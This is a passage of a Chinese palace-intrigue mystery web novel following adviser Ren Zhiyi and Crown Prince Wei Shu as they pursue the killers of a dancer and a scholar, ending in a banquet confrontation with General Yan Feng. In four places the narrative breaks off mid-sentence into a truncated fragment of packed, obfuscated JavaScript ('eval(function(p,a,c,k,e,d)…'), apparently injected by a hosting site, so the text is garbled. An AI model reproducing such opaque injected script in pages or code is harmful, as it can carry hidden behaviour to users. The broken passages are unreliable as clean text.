小宫侍突然慌乱地挡在殿前，声若蚊蝇，“陛，陛下说，不想见……” 卫枢停下脚步。 内殿门前的织金缎帘半卷着，被风吹得轻轻摇动，一下下地撞在门扇上，发出闷闷的声响。 里面传来一道清亮、爽朗的笑声。 “殿内有其他人？” 小宫侍白着脸，“安，安王殿下在。” 疏淡的日光扫下来，擦着卫枢低垂的眼睫，在地上落成一道暗影。 “杵在那儿干什么！”殿内走出一人，是常在皇帝身边侍奉的内侍总管胡德祥，他厉声一喝：“还不赶紧干活儿去！” 小内侍慌忙退下。 胡德祥屈身行礼，“殿下恕罪。新进的奴才，连话都说不清楚。昨日陛下交代过，免了殿下的问安，让殿下安心静养。” 卫枢面色不改，缓缓问道：“父皇的病情如何？” “因着这些日子冷热交替，陛下是风寒侵体，昨夜里发了汗，当是无大碍了。” 胡德祥是宫里的老人，从皇帝还在东宫时便跟在身边，后来嘉以之乱又跟着帝后逃亡，一直伺候在侧，甚得帝后的信任。 卫枢放下心来，“好好照顾父皇。” “殿下。”胡德祥送他出殿，碎步跟着，“娘娘有几句话，让老奴带给您。” 他口中的娘娘是郑皇后。 “娘娘说，陛下对殿下，是怜爱；对其他的皇子，是慈爱。” 卫枢眉宇微动。 流落宫外的那几年，因为伤到头，记忆一直破碎凌乱，直到叶蕴之寻回他，他才确认自己的身份。 断开的父子之情得以立刻重新接续，靠得是皇帝对他的满腔歉疚。郑皇后在提醒他，不要消磨了皇帝对他的这份怜爱之情，进而影响到储君之位。 “娘娘还让老奴转告殿下，殿下要想清楚，谁才是皇家真正的敌人。” 解州一派倾倒，景相趁势拔擢了几个寒门出身的得意门生，依旧独掌权柄，这背后少不了叶蕴之的推波助澜。 江南世家欲扶安王上位，皇帝坐视不理；东宫不顾皇帝对景相的憎恶，选择与景相联手。 皇权势微，父子离心。 对于皇帝来说，当初太子言之凿凿，誓言昭昭，如今形同背刺，自是怒不可遏。 卫枢眸中光芒明了又灭，半晌无言。 飘动的云层遮掉寸寸天光，白衣孑孑，只影寂寥。 ———— 夕阳西下，仲春的日头落得尚早。 香铺即将开张，千头万绪，任知宜跑了一整日，刚刚回来。 玉食佳肴，摆了一桌。 有拌生菜、笋鲊、煎鸭片、辣菜饼、藕粉桂花糖糕、七宝饭，皆色相绝佳，香气四溢。 任知宜望向宝珠。 “是云娘姐姐做的。”宝珠乐呵呵地摆好碗筷，“小姐你快尝尝，云娘姐姐厨艺极好。” 任知宜神色微顿，“她今日还做了什么？” “一大早就在捣腾香料。”宝珠想了想，“后来帮我烧水、煮饭，还帮大家打扫了屋子。” “费举子也来了。”宝珠絮絮叨叨道：“他老是缠着云娘姐姐嘘寒问暖，不过人家不爱搭理他。” 宝珠为她卸下簪钗，“对了，白日里窈娘姐姐来找过你。” 双眸半阖的任知宜缓缓睁开眼，“她人呢？可有说什么事儿？” “没说什么，坐了一会儿，没等到你，就回去了。” 之前，窈娘带着淑儿的尸骨告到大理寺，将于靳的恶行公诸于世。林大人最终判了于靳徒刑，折杖八十。 于靳旧伤未愈，八十杖打下来，当场吐血身亡。 窈娘大仇得报，又脱了贱籍。 她曾说过想要离开京城，回家乡生活，大概是来与她告别的。 任知宜笑道：“明日陪我去买件像样的首饰，咱们去凌香阁给窈娘送行。” “还有……”，宝珠将烛台拿到几架上，继续道：“今日我在街头见到北衙卫的庞将军在巡逻。” “嗯，日后可能会常见到。”任知宜随意应道，手下收拾着香铺开业用的东西。 —— 天快黑的时候，唐橘来了。 她甫一进门，便冲到厨房里，就着水缸舀了一大瓢水，咕嘟咕嘟地大口猛灌。 连着灌了三大瓢水，一下子瘫在椅子上，喘着粗气。 “你被渴死鬼魇上了？” 任知宜跨进厨房，凑到她身旁闻了闻，一脸的嫌弃，“几日没洗了？” 唐橘仰靠在椅背上，四仰八叉地哀嚎，“林老头害我啊！” 自从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盒子里面，是一把柳叶刀，刀柄为鹿皮所制，握在手中坚韧绵软，且不滑腻，更为独特的是，刀刃薄如笺纸，日光之下泛出凌凌清光。 “这刀虽短，胜在刃薄锋利，用来验尸格外称手，与上次送您的那柄正好配成一对儿。” 卓老见之欣喜，爱不释手地摩挲了一会儿，“你这丫头心眼子多得很，惯会投别人所好。若不是看你的面子，老夫可不愿意搭理官府中人。” “您喜欢就好！”任知宜浅笑道。 卓老慢悠悠道：“此人大概死于子时，致命之处是后脑枕骨，十之八九是被人推下去的。” 唐橘大惊，“如何看出来的？” “一般来说，不小心摔下去的人，脚骨多有扭伤，手臂多少也会有些擦痕，他全都没有。后脑骨全碎了，应是仰面落地，依老夫看，不像是失足。” 唐橘怔立在原地，肩膀颓丧地垂着，脸色像被霜打过的茄子。 之前她问过冯家的左邻右舍，都说冯大郎与弟弟二郎关系很好，冯父死后分家，兄弟之间还经常往来，加之冯大郎家中无财，因此唐橘先入为主，没有听冯大娘子的话。 送走了卓老，唐橘绷着脸，半天缓不过劲儿来。 任知宜劝慰，“阿橘，查案总有疏漏，哪能件件都看得清楚。” 唐橘默了半晌，“我走了！” “去哪儿？” 她挎上长剑，头也不回，“我去找冯家大娘子问个明白。” 28. 活着 天亮之后，任知宜和宝珠来到珍珑阁。 这里是兆京城最大的首饰坊，架上琳琅满目，流光溢彩。 其中，一套八福掐丝红玉头面显得格外惹眼，顶簪和发箍上各嵌两枚红玉髓珠，色润泽美，晶莹剔透；花钿和掩鬓以金质累丝捻就，极为精巧。 任知宜很是满意，笑问道：“店家，这套头面卖多少银子？” “姑娘好眼光！”店家笑道：“这头面共计八副首饰，金质累丝而成，尤其是这四枚红玉髓珠，绝对是难得一见的珍品。” 他话锋一转，“所以，价钱不低，这一整套要一千八百两。” 宝珠咋舌，“这么贵！” 任知宜笑得温柔，“贵是贵了些，不过的确是好东西。咱们送给窈娘给她当嫁妆。日后她出嫁时，戴上这套头面，定然光彩夺目，明艳至极。” “可是，咱们的银子……” “无妨！银子再赚就是了！”任知宜眉眼带笑：“算算日子，我爹的案子应该有眉目了，殿下允我过两日先回灵州。此后一别，不知何时才能再见窈娘，我们总要备件像样的礼物。” 付了银子，主仆俩欢欢喜喜地去到凌香阁。 一大群人簇拥在凌香阁外，指手画脚地议论着什么。 拨开人群，任知宜看到三具蒙着白布的尸体，被人抬了出来。 她如坠冰窖。 其中一张白布下，露出一截脚踝，步步生莲的链坠儿随着担架的摆动，一摇一摇地晃着。 那是窈娘常戴的脚链。 任知宜挤上前去想要看看，旁边的路人伸手阻拦，“别看了！听说被砍得血肉模糊，死状惨着呢！” 她不理会，径直揭开那张白布，露出窈娘美丽的面庞，只是没了生机，毫无血色。 霜色的褙子被血染成了石榴色，胸前的衣服被利刃划破，皮肉翻裂，血已干涸，顺着长裙的缉线凝结成一道道血块。 任知宜跪在窈娘身旁，望着她身上的道道刀痕，足有十三刀，几乎刀刀见骨。 她抬头望向站在一旁的北衙卫郎将庞大海，声音冷如寒冰，“行凶的是不是于家的人？” 除了于家，她想不出还有谁与窈娘有这样的深仇大恨。 北衙卫之前只管宫禁，庞大海也甚少见到此等惨烈的场景，长叹道：“不是。行凶之人已被抓住，是个有失心疯的男子。” 任知宜一怔，朝着不远处望去。 一个年约四十，身着褐衣的男子被兵卫按压在地，兀自挣扎着大喊大叫。 “这人是个屠户，早年因为妻子与旁人通奸跑了，受了刺激，得了失心疯，这几年正常了些，没想到今日在凌香阁突然狂性大发，拿刀砍人，这三个姑娘躲避不及，都死在他刀下了。” 任知宜深深地闭上眼睛。 下一瞬，她突然站起身来，走到那屠户面前。 “为什么要杀她们？是不是受于家指使？” 那屠户梗着脖子，笑得癫狂，“什么于家？她们都是些贱女人！一看到男人，就搔首弄姿地笑。” “若不是有你们这些来凌香阁取乐的男人，她们何必在这里笑！”任知宜绷着唇，双眸泛红。 那屠户继续高声骂道：“那不正好！又卑又贱，我砍死她们，倒是让她们解脱了！” 任知宜右手一扬，一巴掌甩在他的脸上。 “小姐！女史！”宝珠和庞大海同时惊呼道。 “窈娘父母双亡，不到八岁便被族伯卖掉。好不容易遇到一个知心的姐妹，却又为救她身死，她早就可以离开京城，却甘愿为天下弱女子求一个公道，选择留下来。” “只差一步！”任知宜秀目泛红，“只差一步！窈娘就可以过上她想过的生活，却毁在你的手里。” 任知宜扬起手，又给了他一巴掌。 “你自己生活不如意，心中愤懑，便将满腔怨气发泄在这些弱女子身上，却没想过她们活在这世上，比你活得要艰难百倍。她们没有怨天尤人，只是想努力地活着，你却连她们这点儿微末的期望都要夺走。” 任知宜心中大恸，右手颤得厉害，不想再看他一眼。 她拿了一方洁净的帕子，小心地将窈娘面上的血迹擦拭干净，露出白皙的皮肤和光洁的额头。 留给世人的最后一面，至少让大家记得，窈娘是个娇美的女子。 —— 房内，壁上挂着铜镜，旁边是红漆梨木妆台和花开富贵架子床。 凌香阁的人受了惊吓，没人敢进窈娘的房间。 任知宜将那套八福掐丝红玉头面从木盒中取出来，放在妆台上，想象着她戴上这套头面，该是何等的明艳照人。 窈娘爱美，喜欢对着铜镜描眉画黛，喜欢将首饰擦得干干净净，还喜欢满眼带笑地说：“我回乡之后，打算承继母亲的技艺，开间绣坊。若碰上些有难处的女子，也能给她们一个容身之所。 言犹在耳，恍然如昨。 任知宜的视线落在台面上，妆奁的格屉未关严，露出些许空隙，里面的钗子和玉坠没有丢失，只是摆放得有些凌乱，不像窈娘平日所为。 任知宜拭掉眼角的泪，环顾四周。 除了这一点异处，整个房间明净、整齐，看不出丝毫被翻拣过的痕迹。 惟有一样东西，稍显特别！ 任知宜凝神，望着眼前的东西出神。 时值仲春四月，天气日渐暖热，窈娘却为自己准备了一床厚实的芦花衾被，放在床尾。 铺平衾被，她细细地探手摩挲着，从芦花絮的内里掏出一张纸笺。 是一封情信。 字里行间情意款款，缠绵悱恻，叙说了寄信之人的浓浓相思之情。 女子的闺名叫施施，写信的男子说，自己无意中得到一大笔银钱，会尽快为她赎身，让她再耐心地等待几日。 信的落款人——敬之。 任知宜怔忡半晌，一封和窈娘毫无关联的情信，她为何要将它藏到衾被之中？ 敬之，敬之…… 任知宜喃喃自语，总觉得这个名字似曾相识。 突然，一道白光自脑海中闪过。 高期在贡士院的同舍就叫，年敬之。 — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫枢借附议政事堂一事从景相手中分得南衙之权，加之叶蕴之入政事堂，如今的朝堂就像一张薄如蝉翼的丝网，无论轻碰哪一处，都会引来剧烈的震荡。 高期之案不敢提，亦不能提。 她可以放下高期的案子，却不能任窈娘枉死。 她思忖片刻，秀眉轻扬，“殿下，如今朝局微妙，臣绝不会不识大体。只是希望殿下能吩咐庞将军，将那屠户交予臣处置。臣自然有办法，揪出幕后之人。” 天光渐暗，夜幕初降。 管家来报，长公主和驸马从庙里祈福回来。 卫枢沉吟半晌，“知宜，今日天色已晚，你先回去，容我再斟酌一下。” 风拂过竹林，叶动虫鸣，沙沙作响。 任知宜眸中闪过一丝失落，早已料到太子需要权衡利弊，可能不会答应她，但她还是有些失望。 一个舞姬的命，终究还是没有大局来得重要。 29. 临近 残烛曳曳，灯影幢幢。 昏黄的光照在宣纸上，任知宜凝神执笔，一字一句，默下《弊宿经》。 她下笔极慢，一笔一划运得极重，夜空中流动着静谧而沉郁的气息。 幼年时，她天性散漫，不喜欢束缚的礼教大义，喜欢天高地阔，肆意昂扬。父亲为了约束她的性子，便教她习字。 父亲教她的第一日便说过，书法一道，习的不是字，而是心，沉静于纯粹的字结之中，方能静心悟道。 《弊宿经》说世人自有来生，因果业报循环，她却一直认为，这一世的债与仇就该在这一世了结。 火苗在宣纸上窜起，她将默好的经文一张一张点燃，置于火盆之中，迸出的火花发出噼里啪啦的声响。 ———— 郁气难舒，任知宜出来走走。 出了宅门，远远望去，檐下立着一人，静静地望着前方的衙署发呆。 借着月色辨认，是云娘。 “知宜！” 任知宜闻声回头，一辆马车停在宅子东南处。 夜风掀起憲幔一角，露出卫枢如玉的下颌。 她矮身钻进马车。 车厢内仅卫枢一人，软垫相接，两人不得不坐得很近。 沉默的气息在静闭的空间里流动。 卫枢递上一方帕子，“脸颊落了点灰。” 白色的绢帕透着青松之香，任知宜轻轻擦掉灰迹，将绢帕叠好，收了起来，“待臣洗干净，再还给殿下。” “今日在长公主府，孤说有事要与驸马商议，正是和高期一案有关。”卫枢缓缓道。 任知宜微怔。 身为东宫幕僚，当事事以东宫为先。当下的形势，太子暂且搁置高期一案，并不过分，可是她过不去窈娘这一关。 除了夙夜默经，为窈娘祈福，她什么都不能做，这让她内心无法安定。 任知宜垂眸道：“殿下做事自有章法，无须尽数告知于臣。” 此言一出，周遭的气息瞬间一沉，透着压抑。 她抬眼望向卫枢。 眉眼疏淡，面容温和，依旧是光风霁月之姿。 仿佛刚才车厢中的一瞬间的冷凝，是她的错觉。 “走吧！”卫枢轻声道。 车外的暗卫闻声，驾起马车，疾行片刻，停在一处宅邸外。 院内不见灯火，荒草丛生，内有十数名暗卫把守。 推门而入，墙角里躺着一个二十多岁，满身伤痕的男子。 他听见声音，挣扎着翻身坐起。 竟然是高期的同舍，年敬之。 年敬之扶着伤腿，一瘸一拐地走过来，“施施人呢？她怎么样了？” 卫枢抿唇不语。 年敬之如遭雷击，面色惨白地跌在地上。 “殿下不是答应我，会救她吗？” 卫枢静静地看了他一眼，“你说得太晚了！” 年敬之脸色倏白，痛苦地蹲下身子，单薄的肩膀一下下地抽动着。 “让他自己冷静一下吧。” 二人退出房间。 任知宜思忖半刻，“殿下，年敬之为何在这里？” 卫枢淡淡地瞥了她一眼，“你不是说，孤做事自有章法，无须告知于你？” 任知宜目色一顿，怔怔地望着卫枢。 不知道是不是她的错解，太子这句话的口气带着几分意味不明。 “臣刚才失礼僭越！请殿下恕罪。” 卫枢望了她一眼，轻轻地转动着指间玉韘，“你是孤最信任的幕僚。孤不希望你和孤之间，因为别的事情而生出芥蒂。” “臣不敢。” 沿内院的草径前行，路过一拱形小桥，桥下之水已干涸，俱是枯叶荒草。院中的石碑断了半截，留下的字迹依稀可辨，是个“苏”字。 卫枢缓缓道：“这里是苏驸马的旧宅。” 长公主驸马苏淇曾是宰辅之子，全家在嘉以之乱中满门被灭，他看破尘俗，不再参与政事，只是一心礼佛。 “之前你在贡士院遇到的黑影，就是年敬之。林四当夜怕打草惊蛇，第二日凭借地上的痕迹，查出是他。” 任知宜侧目，“年敬之是杀高期的凶手？” 卫枢摇头，“暗卫盯了许久，并未发现他有何不妥，直到前日他被人推下山谷，侥幸未死，被暗卫救了回来。” 任知宜默默思忖。 高期之案引得贡士院举子静坐，几乎兴起文祸，朝廷上下一心掩饰，即便太子知晓案子另有玄机，也只能隐忍不发。 只是有一点，她想不明白。 高期之死，于今日解州颓势毫无益处，幕后之人为何非要在这个当口杀掉一个无足轻重的举子？ 她按下纷繁杂乱的思绪，专注于案子本身，“年敬之那夜为何要鬼祟出现？” “伍主事突然让他搬离房间，他心怀鬼胎，怕你瞧出端倪，于是扮鬼吓你。” “什么端倪？” “年敬之想为施施赎身，需要一大笔银子。他察觉高期之死可能与许乐元有关，就趁机向他勒索三千两银子。” 任知宜想了想，当时年敬之恐怕是担心她会查出什么，断了他的财路。 “孤猜测，因他坠下山谷突然杳无音信，施施心神不宁，便将年敬之的信给了窈娘。” 任知宜紧咬下唇，心中痛悔，“若是昨日我在家中，或许窈娘就不会死了。” “知宜。”卫枢的声音温平，“已成定局，自责无益。” 任知宜打起精神，眼下最重要的是找到高期案真正的凶手，也是害死窈娘的凶手。 暗卫来报，“年敬之说，有话要同殿下说。” 年敬之伏跪于地，神情哀戚，“学生愿意作证。” 既有前车之鉴，高期之案若要重启，必要得到切实的证据，一击即中。 有几个疑点任知宜始终想不明白，于是她让年敬之将那夜发生的事重新讲一遍。 “那日戌时刚过，我听很多人说高期在亭中饮酒嚎哭，我当时便觉得有些奇怪，因为白日里他与我说，已下定决心参加今科会试重考，且志在必得，怎地又借酒消愁起来。 后来子时时分，他被人背了回来。那时许乐元突然说，要单独与我商量一同拜访范大人的事情，将我带出房间。 待我回屋时，高期已不见了踪影。” 年敬之继续道：“第二日，得知高期死讯，我想起前一夜许乐元面色慌张，像是特意借故将我从房间支走。我笃定他与高期之死有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不似传言般桀骜不驯，本人倒是温婉清柔，行止极为恭顺得体。 李嬷嬷上下打量了她一番，心下微松，含笑道：“女史言重了。” 任知宜亲自送客。 东宫地势略高，殿外石阶陡，路不算平。 送人出去时，任知宜顺势扶起李嬷嬷的手臂，“嬷嬷小心脚下。” 生平第一次被女官搀扶，李嬷嬷心里大为熨帖。 她低声提点道：“娘娘喜欢贤德淑宜的女子。” “知宜明白，多谢嬷嬷。” 人走后，任知宜于殿前静立。 申时将至。 落日余晖照在长长的甬道上，与檐角下的暗影拉出一道泾渭分明的线。 宫道尽头现出一道疾走的身影，走近了，是大宫女雀琴。 雀琴道：“刚才北衙卫有人给奴婢传信，说宫外有人急找女史。” 任知宜一怔，“谁？” “庆阳门外，唐橘。” 30. 宫宴 今夜宫宴，庆阳门层层把守。 门前守卫打量着任知宜，“此时出宫门，所为何事？” 任知宜从容笑道：“今日女眷当中有两位年过七旬的老夫人，本官有几句话，必得嘱咐宫人。” 守卫微微犹豫。 任知宜又道：“这是本官的腰牌，我只在宫门前停留片刻。” “好吧！”守卫收下腰牌，“不要耽搁太久。” “自然。” 跨出宫门，任知宜敛了笑容，快步疾行。 外宫墙下四处无人，她小声喊道：“唐橘！” 唐橘从树上一跃而下，“你总算来了！” 二人寻了个僻静的角落。 “我那个案子有了进展，那冯家大郎死于非命，不是他弟弟所为，是因为冯家大娘子暗地里养了姘头，忌惮冯二郎，所以故意诬陷于他。” 任知宜安静地听着，知她还有后话。 “继续追问下去，她说了一件事。”唐橘望望四周，低声道：“她说，前几日，冯大郎夜里醉酒，撞上一辆马车，马车中人是他昔日同窗，如今已是位高权重。 大郎见那同窗对他视而不见，当时心生不忿，便追了上去，亲眼见到那同窗将马车转交给南衙卫中郎将严风。” 任知宜闻言一惊，“他撞上马车的那一日，难道是三月初十？” “不错！三月初十的戌时。” 仵作与卓老都说高期死于戌时至子时，若高期是先溺晕于城内，再被人带上马车出城，抛于曲江，便可以解释为何他体内两种水草质地不同。 南衙卫之前掌五城巡防，严风来往于城内外畅通无阻，自然无须登记在册。 任知宜面色大变，迟疑道：“冯家大娘子没遇到危险？” 唐橘道：“她大概是运气不错，前几日为了和姘头幽会，借口回了娘家，这两日才刚回来。” 任知宜薄唇轻颤，眸色幽暗，好似风雨欲来。 她原本以为凶手是贡士院的许、董二人，如今看来，幕后之人绝不是这么简单。此人心思缜密，一直未有动作，直到高期之死结案，才用隐晦的方式分别诛杀冯大郎和年敬之、施施他们。 天色渐暗，外面的甬道传来阵阵踏步声，此时正是宫中禁军更值的时辰。按照她与庞大海原本的约定，此时年敬之已被他悄悄带入宫中。 不管她此前如何筹谋，得知此案与严风有关，她开始心乱如麻。今日之局，恐怕会满盘皆输。 “知宜，你怎么了？”唐橘关切道：“手这么冰！” 南衙北衙相争多年，互有眼线安插在彼此营中。严风生性多疑，只要有人将北衙今日的举动报于他，他立刻能猜出她的意图。 任知宜沉沉地闭上眼睛，思绪翻涌，呼吸越来越乱。 严风唯景相之命是从。太子与景相，所谓的各取所需，相安无事不过是暂时的假象。一着不慎，被反手一击，便是万劫不复。 任知宜霍地睁开双眼，眸中闪过几分凌厉。 “唐橘，帮我做件事……” —— 申时三刻，各府马车停于庆阳门外，等待宫人引领进宫。 众大臣直接从文华门入内宫，等候在庆阳门外的多为勋贵宗亲、各府亲眷以及新科进士。 因为今年会试推迟，没有新科进士，礼部只能核定了一份举子名单代替，其中便有许乐元和董嗣业二人。 董嗣业撩开马车帷帘一角，望着马车外宫墙巍峨，目光沉沉。 许乐元身子一颤，“董兄，外面可是有何不妥？” 董嗣业蹙眉，狐疑地望着他，“你今日到底是怎么了？一路上惊乍莫名！” 许乐元思忖片刻，艰难开口道：“董兄信不信这世上有鬼？” “闭嘴！”董嗣业愀然变色，低声喝道：“收起你那些神叨叨的想法，若是有鬼，三年前就该缠上你。你若再敢胡思乱想，不如不要进宫。” 许乐元讷讷应下，心中却不以为然。 董嗣业这么轻描淡写，是因为这件事与他无关，引屠户去凌香阁的人可是他许乐元！ 今日在明运街的酒肆饮酒，他见北衙卫押着那屠户游街示众。 酒肆人多口杂，众人猎奇，聚在一起讨论这桩离奇的杀人案。有人说，这屠户之前就暗地里杀过很多女子，甚至他卖的猪肉里也有种奇特的味道。 还有人悄悄说，城北的刘二爷在凌香阁饮酒时，突然感觉后颈发凉，他伸手一探，竟然摸到满手的鲜血，是从房梁上一滴滴落下来的。 众人惊呼。 “听说了！真是瘆人！” “刚才在街上，我看那屠户整个人像是被魘住了似的。” 许乐元的酒杯停在唇边，脸色刷白。 “这屠户砍得全是青春少艾，如花似玉的小娘子。以前就有高僧说过，女子魂魄阴气深重，这么多美貌小娘子，身带冲天怨气，必要流连人世，直至将凶手魘死方肯离开。” 许乐元向来信鬼神，听得额头冷汗淋漓，匆匆留了酒钱，快步离开。 回去的路上，他时而恍惚跌倒，总感觉有什么东西在背后跟着他。 宫门将至，兀自心绪不宁。 突然，一股巨大的力量将他重重地甩到一旁，额头撞到车桁上。 帷帘撩起，那马受了惊，嘶鸣裂裂，前蹄高扬，猛地用力挣脱了缰绳，朝着宫门冲将过去。 直将二人颠得身骨俱裂。 眼看马车连人带车就要撞向宫门，宫中禁卫冲出来，几人合力拉住辔头，将将缓了惊马疾驰之势。 丈外之处，有人搭弓远射。 箭矢射入马眼，痛得马儿高嘶狂踢，直将车厢掀翻在地。 禁卫将董、许二人拖了出来，长戟悬于颈上。 许乐元吓得双腿发软，说不出话来，董嗣业缓了口气，“我，我们是来赴宴的举子。” —— 甘露殿外的高台之上，是一座露天楼阁，檐角呈斗拱形，坐于阁中，可揽平湖盛景，星月余辉。 八位伶人对坐，琴瑟相和，一时婉约迤逦，一时明快激越。 应国使臣伊柘身着石青色窄袖长衫，头戴黑色云纹幞头，面白微须，气质儒雅。他双掌轻击，和着琴音，眼底露出赞叹之色。 “中原的音律古朴典雅，悠远流长，伊某向往已久。” 皇帝笑道，“伊相精通音律？” “粗识而已，怎好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话的言外之意是，彦月公主若是有意于太子，即使做不得正妃也无所谓，甚至愿意将应国的造船之术双手奉上。 皇帝的笑意渐渐转浓。 琴音又起，宾主尽欢。 列席的举子上前伏拜，向贵客吟诵祝祷之辞，叩谢皇恩浩荡。 太子卫枢突然道：“听闻伊相酷爱音律，孤为伊相准备了一份前朝南玉的乐谱孤本。” 伊柘面露惊喜，见一男子从太子身后走出来，低着头，双手擎书，缓步上前。 那男子头戴沿帽，远远的看不清真容，只是右腿微跛，步履缓慢。 就在他走到伊柘席案前的一刹那，突然有人快步将他拦下。 是南衙卫中郎将严风。 严风单膝跪地，“启禀圣上，微臣接到密报，此人乃是贡士院举子年敬之。有人欲借宫宴之机，混以鬼神之说，想要重启高期之案。” 皇帝先是一怔，接着怒瞪着卫枢，“太，子！” 卫枢一身白衣，清如琢玉，缓缓道：“他不是年敬之。” 31. 破局 “陛下！”严风跪姿不动，言辞切切，“此事太子殿下可能亦被蒙在鼓里，请陛下明察。” 皇帝面沉如水，“那到底是谁做的？” 严风双目如刀，直射人群中太子身后那道绛红色的身影，“东宫女史，任知宜。” 宴席众人闻言，视线皆汇聚一处。 任知宜一袭绛红色圆领窄袖官服，头戴黑色双幞乌纱帽，丰神如玉，毓秀神仪。 面对严风的指认，她面色冷凝，眼睑微垂，双手叠于胸前，身姿笔挺，维持着女官端庄的仪态。 严风继续道：“回禀陛下，贡士院年敬之失踪数日，贡士院上下皆以为他已遇害，其实是被任女史暗中藏匿于宫中。今日任女史又故意在庆阳门制造惊马一事，妄图以魑魅之说恫吓举子，在使臣面前失仪。” 他的话真假参半，却句句诛心。若他所说为真，桩桩件件皆是死罪。 众人目瞪口呆，不明白这东宫女史为何要这么做。 皇帝沉声道：“太子，难道你还要护着此女不成？” 任知宜先一步站出来，伏拜于地，仪态万方，“陛下容禀，严将军所说之事与臣无半点关系。” 严风拧眉，双眸幽黑。 她今日布了一个局。 从庞大海带着屠户在明运街游街示众开始，他便知晓任知宜的目标是许乐元，她故意安排人在酒肆大谈鬼神之说，引得许乐元惶惶不安。 同时，许、董二人的马被涂抹了致幻之药，马疾驰片刻会流下汗来，门鬃上的药顺着汗液流淌到马眼之中。 顷刻之间，毒素流窜全身，马儿受惊发狂。 许乐元天性怯懦，笃信鬼神，连番意外之后，他已是惊弓之鸟、强弩之末。 待到举子为使臣吟诵祝祷贺词之时，任知宜将“死而复生”的年敬之和长相肖似施施的宫女带到他面前，许乐元定然受惊过度，御前失仪。 若在惊吓之中说出几分真相，年敬之便可顺势而为，当着应国使臣的面，向陛下求请。 严风望着那双依旧淡静无波的明眸，心中蓦地一紧。 他右手一挥，扬起的劲风将那擎书男子的沿帽吹落。 细眼长眉，窄腰溜肩，与年敬之身形相近，却不是年敬之。 严风双眸巨震，指骨捏得泛白。 他亲眼看见年敬之被带入宫中，之后南衙卫一直盯着，绝不可能离开皇宫，怎么会被换了人？ “严风！”皇帝沉声问道，“此人就是年敬之吗？” 夜风吹来，严风的里衣被冷汗浸透，阵阵发凉。 “哈哈哈……”，伊柘爽朗一笑，从席间起身，向皇帝屈身行礼，“此人绝不是什么年敬之，而是伊某昔年在兆京结识的好友韩阳，他精通音律，与伊某惺惺相惜，引为知交。 此番伊某来京，曾拜托太子殿下帮伊某找寻故友，没想到却引得严将军误会！还请陛下宽宥。” “伊相言重了！”皇帝神色微缓，望向严风的眼神微沉，“严风，还不赶紧退下？” 咻地一声，砰砰…… 焰火在天空绽放，一时如天女散花，一时如富贵祥云。 星子落雨，万点银花，映得筵席亮如白昼。 众人皆沉醉于这绚烂的鱼龙醉舞之中。伊柘满眼惊叹，“真乃天工巧艺，令人叹为观止。” 皇帝笑着点头，朝着郑皇后低声道：“这烟花，皇后安排得不错。” 郑皇后温柔地握住皇帝的手，笑了笑，“陛下，臣妾可不敢居功，其实……这都是枢儿的意思。” 皇帝闻言一怔，望向卫枢的眼神略略缓和了几分。 火光照进严风的瞳眸之中，交错闪烁，噼里啪啦的声音在他的耳边一一炸响。 他陡然想起，今日唯一一辆进出宫门而没经南衙卫搜捡的车便是运送烟花的盘车。 年敬之，恐怕已经离开皇宫。 他几乎咬碎了牙齿，不甘心就这么败了。 待银花散尽，归于宁静。 “陛下！”严风伏地叩首，“举子宫门前惊马一事尚未查明。为保宫中安宁，望陛下恩准，立刻核查此事。” 皇帝望向伊柘，面露犹豫，“可是，今日是迎接伊使臣的大日子……” 伊柘面容凝肃，颔首道：“陛下无须顾忌微臣，陛下的安危才是最重要的。皇城之下，层层护卫，居然还有人敢行此等事，实在是大胆妄为。” 皇帝沉吟半晌，着胡总管领了旨意去查实。 宫宴之上，琶音铮铮，软曲婉转，伶人吟唱的是一首《浔阳曲》，唱尽江南风姿如画，情意绵长。 严风侧立一旁，眼神若有似无地落在筵席上的某个人。 那人垂头饮了一口酒，立刻剧烈地咳起来，咳得满面胀红，脖子上青筋直暴，像是气滞喘急，下一瞬间便要归天似的。 严风眸中掠过一抹冷笑，早知如此，何必当初！ 过了片刻，胡总管回来。 “陛下，已核查过那匹死去的惊马，没有中毒的迹象。御马厩那边说，许是到了发情期，马儿有些躁狂，纯粹是个意外。” 严风猛地抬头，不敢置信地望着任知宜，双目阴鹜。今日种种，难道只是她为了构陷他而做的假象？ 呵呵！他严风区区一个鞍前马后之人，倒是让他们费心了！ “哈哈哈……”，伊柘将酒盏置于唇际，摇着头笑叹道：“曲中是戏，曲外亦然啊！” 众人闻之，面色一变。 伊柘语带微嘲，意有所指。严风在迎接应国使臣的宫宴上闹了这么一大出，着实是伤了整个大胤的颜面。 皇帝面色微沉，正要发落。 一道低醇沉厚的声音先一步响起，“陛下，中郎将严风大意失察，臣奏请陛下严办。” 景相袖手而立，双目沉沉，言语中透着威严。 明说是严办，却是先一步将严风之行定为大意失察。 众人心知肚明，景相还是想保住严风。 “孤有一事不明，想问问严将军。”卫枢淡淡道，“许举子、董举子，还有年举子，和高期之死究竟有何关系。” —— 静夜沉沉，疏星淡月。 任知宜闭着眼睛，在马车上假寐。 